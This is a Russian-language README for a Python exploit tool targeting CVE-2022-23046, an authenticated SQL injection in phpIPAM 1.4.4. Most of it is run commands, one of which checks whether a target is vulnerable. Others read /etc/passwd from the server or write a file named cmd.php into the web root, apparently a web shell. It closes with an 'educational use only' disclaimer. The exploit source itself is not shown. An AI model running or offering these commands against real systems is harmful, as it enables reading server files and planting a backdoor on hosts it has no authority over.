CVE-2022-23046 phpIPAM 1.4.4 - SQL-инъекция

phpIPAM v1.4.4 позволяет аутентифицированному пользователю с правами администратора внедрять SQL-выражения в параметр subnet при поиске подсети через app/admin/routing/edit-bgp-mapping-search.php. Данный проект выводит информацию о базе данных и версии хоста. Он также может попытаться читать файлы и записывать на сервер.

Начало работы

Запуск программы

• Проверка на уязвимость:

python3 phpipam_1.4.4.py -t http://phpipam.com/ -u username -p password

• Тест на чтение файла:

python3 phpipam_1.4.4.py -t http://phpipam.com/ -u username -p password -f /etc/passwd

• Тест на запись файла:

python3 phpipam_1.4.4.py -t http://phpipam.com/ -u username -p password -w /var/www/html/cmd.php

Справка

Для вызова справки:

python3 phpipam_1.4.4.py -h

Благодарности

• FluidAttacks

Отказ от ответственности

Весь код, предоставленный в этом репозитории, предназначен только для образовательных/исследовательских целей. Любые действия и/или мероприятия, связанные с материалом, содержащимся в этом репозитории, являются исключительно вашей ответственностью. Неправильное использование кода из этого репозитория может привести к возбуждению уголовного дела против соответствующих лиц. Автор не несет ответственности в случае предъявления уголовных обвинений любым лицам, неправильно использующим код из этого репозитория для нарушения закона.